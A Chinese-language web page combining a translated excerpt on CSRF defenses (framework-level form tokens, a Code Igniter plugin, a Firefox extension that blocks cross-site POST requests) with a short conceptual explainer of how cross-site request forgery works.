兼容并行会话。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站 点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作 以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。方法是,设立一个站点级别cookie,然后在一定时间内让所有表单 都使用该cookie。
对认证没有任何要求。这种解决方案不要求使用特定类型的认证。它能工作在通过cookie会话、HTTP认证、SSL认证或者IP地址对用户进行认证的站点上。
之前也有人提议在表单中使用伪随机值,不过许多提议的实现没有提供上述特性。例如,有的需要服务器状态,而有的会破坏项卡式的浏览。但是,之前提议的解决方案没有强调跟正常浏览行为相兼容的重要性。
任何拦截POST请求并“包装”生成{form }标签的命令的框架都能够把以上所述CSRF保护措施透明地组合进该框架。例如,如果一个框架要求开发人员调用函数form_open (...)来生成一个{form ...}标签的话,那么就可以对这个框架加以修改,让它在每次创建一个表单的时候都自动地生成一个伪随机值:
{form ...}
{input type="hidden" name="csrf value"
value="8dcb5e56904d9b7d4bbf333afdd154ca"}
此外,该框架还能处理跟cookie值有关的设置,并用该cookie值跟提交过来的值相比较。一个框架添加了这种CSRF保护措施,那么就能保护 该框架的所有用户免受CSRF攻击。 因为这种CSRF保护措施是轻量级的,并且对于框架或者开发人员提供的认证方法没有任何要求,所以强烈建议那些拦截POST请求并提供了生成{form} 标签的函数的框架都实现这种CSRF保护措施并将其设为默认保护措施。该框架还为开发人员提供了是否禁用该项保护措施的能力,例如他们已经单独地实现了 CSRF保护措施或者他们不想要cookie。
框架Code Igniter提供了这样的一个插件,该插件不要求开发人员对现有表单做任何修改,并且会对POST请求(并且对POST请求的伪随机值进行验证)和创建 {form}标签的函数调用进行拦截。该插件还提供了一个函数,该函数允许CSRF标志被添加到AJAX请求,尽管这要求开发人员的干预(Code Igniter没有提供执行AJAX请求的标准方式)。该插件的下载地址:http://www.cs.princeton.edu/˜wzeller/csrf/ci/
六、客户端保护措施
由于使攻击者成功地执行CSRF攻击的请求是由浏览器发出的,所以可以创建客户端工具来保护用户不受此种攻击。现有的工具RequestRodeo 通过在客户和服务器之间充当代理来防止CSRF攻击。如果RequestRodeo发现了一个它认为是非法的请求,它会从该请求剥离验证信息。虽然这种方 式在很多情况下都能有效,但是它具有一些局限性。具体地说,当客户端使用了SSL认证或者使用JavaScript生成部分页面(因为 RequestRodeo分析的是在浏览器显示之前的流经代理的那些数据)时,它就不起作用了。     人们已经开发了一个浏览器插件,不仅可以使用户可以免受某些类型的CSRF攻击,并且还能克服以上所述的局限性,这个工具是作为Firefox浏览器的扩 展实现的,其地址是http://www.cs.princeton.edu/˜wzeller/csrf/protector/。 为了有效地防范CSRF攻击,用户需要下载安装这个扩展。该扩展会拦截所有的HTTP请求,并判断是否允许该HTTP请求。这个判断要用到下列规则。首 先,POST请求之外的任何要求都是允许的。第二,如果发出请求的站点和目标站点符合同源策略的要求,那么该请求被允许。第三,如果发出请求的站点被允许 使用Adobe的跨域政策来建立一个请求的话,那么该请求也会被允许。如果我们的扩展拒绝一个请求,该扩展会通过一个常见的界面来提示用户(即 Firefox所使用的popup blocker)该请求已经被阻止,并且让用户选择是否将站点添加到一个白名单中。
该扩展仅仅拦截POST请求。这意味着,它无法保护用户免受使用GET请求的CSRF攻击 阻止这种类型的攻击的唯一方法是不允许任何跨域GET请求,或只允许用户一次只能登录到一个站点,但是这两个限制可能是用户无法忍受的。
七、小结
CSRF攻击在漏洞识别、利用和修补上相当简单,人们可以在几秒内分析站点,发动攻击也只需几分钟的时间。对于这些攻击的流行,最合理的解释是Web开发人员对于该问题的无知,以及误认为所实施的针对更为人们所熟悉的跨站脚本攻击的防范措施还能防止CSRF攻击。
我们希望这里介绍的攻击足以显示CSRF攻击的危险性,并引起Web开发人员给予这些攻击足够的重视。建议框架的创建者为他们的框架添加CSRF保 护措施,从而保护建立在该框架之上的站点。在框架级别添加CSRF保护措施使得开发人员免于复制代码,甚至不用对CSRF攻击有深入的了解,当然最好对这 些攻击进行了解。当然,在所有的网站都对CSRF攻击采取防范措施以前,用户可以使用这里介绍的Firefox浏览器插件来设法保护他们自己,估计将来其 它浏览器也会出现类似的插件。

图解跨站请求伪造(CSRF)原理

图解漏洞之二:CSRF如何攻击的 
\

参考资料:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
http://en.wikipedia.org/wiki/Cross-site_request_forgery

 继[图解漏洞]图解跨站请求伪造(CSRF)原理,再整理了一幅图说明CSRF的原理。
  
CSRF
CS=Cross Site,跨站,从b.com发起
RF=Request Forgery,利用已经验证的a.com的cookie,从b.com向a.com中的某个页面performclick.aspx发起页面的请求,由 于在同一个浏览器中共享cookie,因此这个请求看起来像a.com自己发出的,因此是请求伪造。
 


\

CSRF有一些特点:
1 b.com是从前端攻击,即从用户的浏览器发起的,因为其他地方(例如b.com的后端)就无法通过共享cookie来伪造请求
2 可以伪造的请求,与a.com存在CSRF漏洞的页面有关。b.com可以通过GET方式和POST方式,伪造请求给a.com站点;但无法通过Ajax进行请求伪造,这是因为浏览器遵循的Ajax的跨域限制。
3 CSRF危害更多是针对可以进行业务动作(增删改)的页面,通过伪造请求欺骗站点进行业务办理。对于查询页面存在CSRF漏洞,由于浏览器跨域限制,即使请求返回数据,B.com的页面是无法对数据进行分析或处理,因此查询页面的CSRF危害会小很多,或者没有危害

参考:www.2cto.com/Article/201205/130728.html